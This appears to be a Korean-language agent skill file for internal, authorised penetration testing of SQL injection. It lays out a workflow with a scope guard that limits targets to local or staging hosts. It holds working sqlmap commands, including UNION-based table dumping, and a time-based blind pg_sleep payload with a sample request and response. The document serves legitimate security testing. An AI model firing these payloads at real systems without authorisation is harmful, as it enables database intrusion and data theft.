--- name: exploiting-sql-injection description: >- SQIsoft 사내 권한 있는 펜테스트 전용. detecting-sql-injection(정적 스킬)이 올린 후보 URL·파라미터에 실제 SQLi 페이로드를 발사해 '실제 악용 가능성'을 동적으로 확정한다. scope_guard 안전 게이트로 로컬/스테이징 외 대상을 코드 수준에서 차단한다. Error-based, Boolean-based Blind, Time-based Blind 기법을 순차 시도. sqlmap 설치 시 우선 사용, 미설치 시 scripts/attack_sqli.py의 수동 PoC로 폴백. domain: cybersecurity subdomain: web-application-security tags: [sql-injection, sqli, pentest, exploiting, cwe-89, owasp-a03, sqlmap, postgresql, mysql, sqisoft] cwe: [CWE-89] owasp: [A03:2021-Injection] stacks: [spring-modern, jsp-legacy] version: "0.3.0" author: sqisoft-security license: Proprietary --- > ┌─────────────────────────────────────────────────────────────────┐ > │ 경고 — 사내 권한 있는 펜테스트 전용 │ > │ 실제 공격 페이로드를 발사합니다. │ > │ 운영 환경(prod/www.*) 대상 사용 절대 금지. │ > │ scope_guard가 운영 의심 호스트를 코드 수준에서 강제 차단합니다. │ > │ 무단 사용은 정보통신망법 위반입니다. │ > └─────────────────────────────────────────────────────────────────┘ # SQL Injection 취약점 동적 검증 (공격형) ## When to Use 다음 중 하나라도 해당하면 이 스킬을 실행한다. - `detecting-sql-injection` 정적 스캔이 **확정 또는 의심 취약점 후보**를 출력했고, 이를 스테이징/로컬에서 **실제 악용 가능성으로 확정**해야 할 때 - 특정 엔드포인트(URL + 파라미터)에 SQLi가 실제로 통하는지 PoC로 증명해야 할 때 - 취약 리포트에 **실제 요청·응답·지연시간 등 Evidence**를 첨부해야 할 때 **이 스킬을 쓰지 않을 때:** - 소스 코드가 없고 실행 중인 대상도 없을 때 → `detecting-sql-injection`(정적) 먼저 - 대상이 로컬/스테이징이 아닐 때(scope_guard가 차단함) - 파괴적 조작(DROP·DELETE·UPDATE)이 목적일 때 → 별도 사람 승인 + `--allow-destructive` 명시 ## Prerequisites - 대상 서버가 **로컬 또는 스테이징**에서 실행 중 - `tools/scope_guard.py` — 플러그인 루트의 안전 게이트 (스크립트가 자동 import) - Python 패키지: `requests` (`pip install requests`) - (선택, 권장) `sqlmap` — 설치 시 자동으로 우선 사용, 미설치 시 수동 PoC 폴백 - `references/payloads.md` — DBMS별 페이로드 레퍼런스 ## Workflow ### 0단계 — 안전 범위 확인 (scope_guard) 스크립트 실행 전 scope_guard가 대상을 검증한다. 직접 확인하려면: ```bash # 대상이 허용 범위인지 미리 확인 python tools/scope_guard.py "http://localhost:8080/board?id=1" # → ALLOW: 사설/로컬 IP: 127.0.0.1 python tools/scope_guard.py "https://www.example.com" # → [차단] 운영 의심 호스트 차단 패턴 매치: www.example.com — 공격 중단. ``` **자동 허용:** - loopback(127.x, `2130706433` 등 정수 표기 포함) · localhost · RFC 예약 TLD(`.localhost`·`.local`·`.test`·`.example`·`.invalid`) **조건부 허용(기본 차단 → env 등록 시):** - 사설 대역(10.x, 172.16.x, 192.168.x) — `SECURITY_PLUGIN_ALLOW_PRIVATE=1` - 사내 스테이징 도메인 — `SECURITY_PLUGIN_ALLOW_HOSTS`에 등록 (`*staging*`/`*dev*`/`*qa*` 부분일치는 자동 허용되지 않음) **차단 대상:** - `www.*`, `*prod*`, `*production*`, 링크로컬/메타데이터(169.254.x), IP 위장(정수·IPv6 매핑) — 항상 차단 - 그 외 공인 도메인/IP — `SECURITY_PLUGIN_AUTHORIZED=1` + `--authorized` 동시 충족 시만 --- ### 1단계 — 대상·후보 입력 `detecting-sql-injection` 정적 스캔 결과에서 후보를 가져오거나, 수동으로 지정한다. ```bash # 정적 스캔 실행 (후보 도출) python skills/detecting-sql-injection/scripts/scan_sqli.py /path/to/project --json # 출력 예시: # [{"file": "BoardMapper.xml", "line": 34, "rule_id": "sqli-mybatis-dollar", # "stack": "jsp-legacy", "snippet": "${keyword}"}] ``` 후보에서 URL·파라미터를 추출해 아래 2단계로 진행한다. --- ### 2단계 — 실제 공격 발사 #### sqlmap 우선 (설치된 경우 자동 사용) ```bash # GET 파라미터 — 기본 탐지 python skills/exploiting-sql-injection/scripts/attack_sqli.py \ "http://localhost:8080/board?id=1" \ --param id # POST 파라미터 python skills/exploiting-sql-injection/scripts/attack_sqli.py \ "http://localhost:8080/login" \ --param username \ --method post \ --data "username=admin&password=test" # JSON 출력 (CI/파이프라인 연동) python skills/exploiting-sql-injection/scripts/attack_sqli.py \ "http://localhost:8080/board?id=1" \ --param id \ --json ``` #### 수동 PoC 폴백 순서 (sqlmap 미설치 또는 미탐지 시) 스크립트가 아래 순서로 자동 시도한다: 1. **Error-based** — 단따옴표(`'`) 및 캐스트 오류 페이로드 → DB 오류 마커 탐지 2. **Boolean-based Blind** — 참(`1=1`) 페이로드를 2회 보내 자연 변동폭(노이즈 플로어)을 측정한 뒤, 거짓(`1=2`)과의 응답 길이 차이가 **노이즈 플로어를 초과**하고 비율(차이/평균)이 **5% 이상**일 때만 탐지 (동적 콘텐츠 오탐 방지) 3. **Time-based Blind** — `pg_sleep(3)` / `SLEEP(3)` / `WAITFOR DELAY` → 응답 지연(≥2.5초) 탐지 > sef-2026 / Gseed 계열은 **PostgreSQL**이므로 `pg_sleep` 페이로드를 우선 시도한다. > DBMS별 전체 페이로드 목록: `references/payloads.md` #### sqlmap 직접 실행 (필요 시 수동) ```bash # GET sqlmap -u "http://localhost:8080/board?id=1" \ -p id \ --batch \ --level=2 --risk=1 \ --technique=BEUT \ --dbms=postgresql # POST sqlmap -u "http://localhost:8080/login" \ --data "username=admin&password=test" \ -p username \ --batch \ --level=2 --risk=1 \ --technique=BEUT # UNION 기반 데이터 추출 (컬럼 수 탐지 후) sqlmap -u "http://localhost:8080/board?id=1" \ -p id \ --batch \ --technique=U \ --dump --tables \ --dbms=postgresql ``` --- ### 3단계 — 악용 확정 판정 기준 | 기법 | 확정 조건 | |------|-----------| | Error-based | 응답에 DB 오류 마커 포함 (`syntax error`, `PG::`, `ORA-` 등) | | Boolean-based Blind | 참 응답 2회로 노이즈 플로어(자연 변동폭) 측정 → 거짓과의 길이 차이가 노이즈 플로어 초과 **AND** 비율(차이/평균) ≥ 5% | | Time-based Blind | 베이스라인(무해값 응답시간) + 2.0초 초과 **AND** 동일 페이로드 재확인 통과 시 확정 | | UNION-based | 응답에 DB 버전·테이블명·데이터 반환 확인 | | sqlmap | injection point 식별·`is vulnerable` 출력 (`do not appear to be injectable`·연결오류 등 NEGATIVE 문구 우선 배제, `[CRITICAL]` 로그레벨은 판정 제외) | > **트레이드오프(리다이렉트 미탐)**: error/boolean/time 판정은 리다이렉트를 추종하지 않고 **원(최초) 응답**을 기준으로 한다. > 따라서 주입 성공이 리다이렉트(3xx) **이후 화면에서만** 드러나는 흐름(예: 성공 시 결과 페이지로 302)은 미탐될 수 있다. --- ### 4단계 — 검증된 리포트 (4요소 + Evidence) 확정된 취약점에 대해 아래 양식으로 리포트를 작성한다. 스크립트의 `--json` 출력을 Evidence 필드에 첨부한다. ## Output Format ```markdown # SQL Injection 동적 검증 리포트 (exploiting) - 대상: | 파라미터: | 메서드: GET/POST - 기법: - 점검일: | 환경: 스테이징/로컬 ## 결과 요약 - 악용 확정: Y/N | 사용 기법: <기법> ## 확정 취약점 ### [Critical] SQL Injection — <파라미터명> 파라미터 — - **① 취약한 점(What)**: <파라미터>에 SQLi 페이로드가 그대로 SQL 쿼리에 삽입됨. - **② 취약한 이유(Why)**: 사용자 입력을 PreparedStatement 바인딩 없이 SQL 문자열에 직접 연결. 공격자가 SQL 구문을 조작해 인증 우회, 전체 데이터 추출, DB 구조 열람이 가능하다. - **③ 뚫리는 방법(How)**: ``` GET /board?id=1' AND (SELECT pg_sleep(3)) IS NOT NULL-- HTTP/1.1 Host: localhost:8080 ``` 응답 시간: 3.21초 (베이스라인 0.2초 + 임계 2.0초 = 2.2초 초과, 재확인 통과) → Time-based Blind SQLi 확정. - **④ 해결방법(Fix)**: 해당 파라미터를 PreparedStatement `?` 또는 MyBatis `#{}` 바인딩으로 전환. ORDER BY 컬럼명 동적 삽입이면 서버 사이드 허용 목록(allowlist) 검증 필수. ## Evidence (실제 요청·응답·추출 결과) ### 요청 ```http GET /board?id=1%27%20AND%20%28SELECT%20pg_sleep%283%29%29%20IS%20NOT%20NULL-- HTTP/1.1 Host: localhost:8080 ``` ### 응답 (공격 스크립트 JSON 출력) ```json { "target": "http://localhost:8080/board", "param": "id", "technique": "time-based-blind", "exploited": true, "evidence": { "technique": "time-based-blind", "dbms_guess": "postgresql", "payload": "1' AND (SELECT pg_sleep(3)) IS NOT NULL--", "elapsed_sec": 3.214, "confirm_sec": 3.201, "baseline_sec": 0.203, "threshold_sec": 2.203, "status_code": 200 } } ``` ### 추출 데이터 (UNION 성공 시) ``` DB 버전: PostgreSQL 14.5 현재 DB: gseed_db 테이블 목록: users, board, files, ... ``` ## 의도된 예외 - (해당 없음 또는 내용) ## 미탐지 항목 - (탐지 기법으로 확정하지 못한 후보와 사유) ``` ## Verification (스킬 자체의 신뢰성 확인) - [ ] scope_guard가 운영 대상을 차단하는지 확인했는가 ```bash python skills/exploiting-sql-injection/scripts/attack_sqli.py \ "https://www.example.com" --param id # → [차단] 운영 의심 호스트 차단 패턴 매치 출력 후 종료 ``` - [ ] 로컬 대상이 미가동일 때 '대상 미가동' 안내가 출력되는가 ```bash python skills/exploiting-sql-injection/scripts/attack_sqli.py \ "http://localhost:8080/board" --param id # → scope 통과 → 연결 실패 → 오프라인 분석 안내 출력 ``` - [ ] 페이로드 발사 전 scope_guard를 호출했는가 (`attack_sqli.py` 코드 확인) - [ ] 비파괴 모드에서 SELECT 기반 페이로드만 사용하는가 (`--allow-destructive` 없이) - [ ] Evidence에 실제 요청·응답·지연시간이 포함되어 있는가 - [ ] 정적 `detecting-sql-injection` 결과와 연계해 후보를 확인했는가 ## Key Concepts | 용어 | 설명 | |------|------| | Error-based SQLi | DB 오류 메시지를 유도해 스키마 정보를 추출하는 기법 | | Boolean-based Blind | 참/거짓 조건에 따른 응답 차이로 데이터를 1비트씩 추출 | | Time-based Blind | SLEEP() 지연으로 조건 참/거짓을 판별 (응답 없을 때도 탐지 가능) | | UNION-based | UNION SELECT로 다른 테이블 데이터를 직접 응답에 포함시켜 추출 | | pg_sleep | PostgreSQL의 시간 지연 함수 — sef-2026/Gseed 계열 우선 사용 | | sqlmap | 자동화 SQLi 탐지·추출 도구 — 설치 시 attack_sqli.py가 우선 사용 | | scope_guard | 공격 대상 안전 범위 강제 검증 게이트 (`tools/scope_guard.py`) | | --allow-destructive | DROP/DELETE/UPDATE 등 파괴적 페이로드 허용 플래그 (기본 비활성) | ## Tools & Systems - `scripts/attack_sqli.py` — 공격 발사 스크립트 (scope_guard 내장) - `references/payloads.md` — DBMS별 SQLi 페이로드 전체 목록 - `tools/scope_guard.py` — 안전 게이트 (플러그인 공용) - sqlmap — 설치 시 자동 우선 사용 - 정적 연계: `detecting-sql-injection` 스킬 → 후보 URL·파라미터 제공